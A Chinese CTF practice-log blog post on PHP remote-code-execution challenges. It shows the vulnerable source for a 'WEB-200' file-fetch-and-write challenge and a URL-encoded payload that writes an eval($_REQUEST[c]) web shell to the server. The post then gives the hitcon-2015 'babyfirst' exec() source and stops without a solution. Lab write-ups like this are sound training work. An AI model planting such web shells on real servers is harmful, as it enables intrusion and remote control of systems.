[关闭]
@shaobaobaoer 2018-07-22T04:53:34.000000Z 字数 1990 阅读 1143

烧包包儿的WEB 修炼日志(一)

CTF WEB wp


0x00 前言

做题地址:
https://github.com/inory009/CTF-Web-Challenges
感谢师傅们整理的题目,我会写点自己的WP和心得
环境: Kali linux -- docker -- firefox
环境配置教程: http://120.79.191.75/archives/28

0x01 RCE WEB-200

Build 之前 把 deploy 目录下的start.sh 放到 deploy/src/目录下,不然会报错

这道题目推荐在本地搭建一下就行了。

  1. <?php
  2. if(isset($_GET) && !empty($_GET)){
  3. $url = $_GET['file'];
  4. $path = "upload/".$_GET['path'];
  5. }else{
  6. show_source(__FILE__);
  7. exit();
  8. }
  9. if(strpos($path,'..') > -1){
  10. die('This is a waf!');
  11. }
  12. // 比较有意思的是这个函数
  13. if(strpos($url,'http://127.0.0.1/') === 0){
  14. // 将file 参数放到了 $url 中,然后
  15. file_put_contents($path, file_get_contents($url));
  16. echo "console.log($path update successed!)";
  17. }else{
  18. echo "Hello.Geeker";
  19. }

两个参数,一个file 一个path

path

file

payload

  1. wp
  2. http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E.php&path=c.php
  3. 【那个.php不要也没问题】
  4. http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E&path=z.php

TIM截图20180720162137.png-48.1kB

0x02 RCE hitcon-2015-babyfirst

  1. <?php
  2. highlight_file(__FILE__);
  3. $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
  4. if ( !file_exists($dir) )
  5. mkdir($dir);
  6. chdir($dir);
  7. $args = $_GET['args'];
  8. for ( $i=0; $i<count($args); $i++ ){
  9. if ( !preg_match('/^\w+$/', $args[$i]) )
  10. exit();
  11. }
  12. exec("/bin/orange " . implode(" ", $args));
  13. ?>

参数 args

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注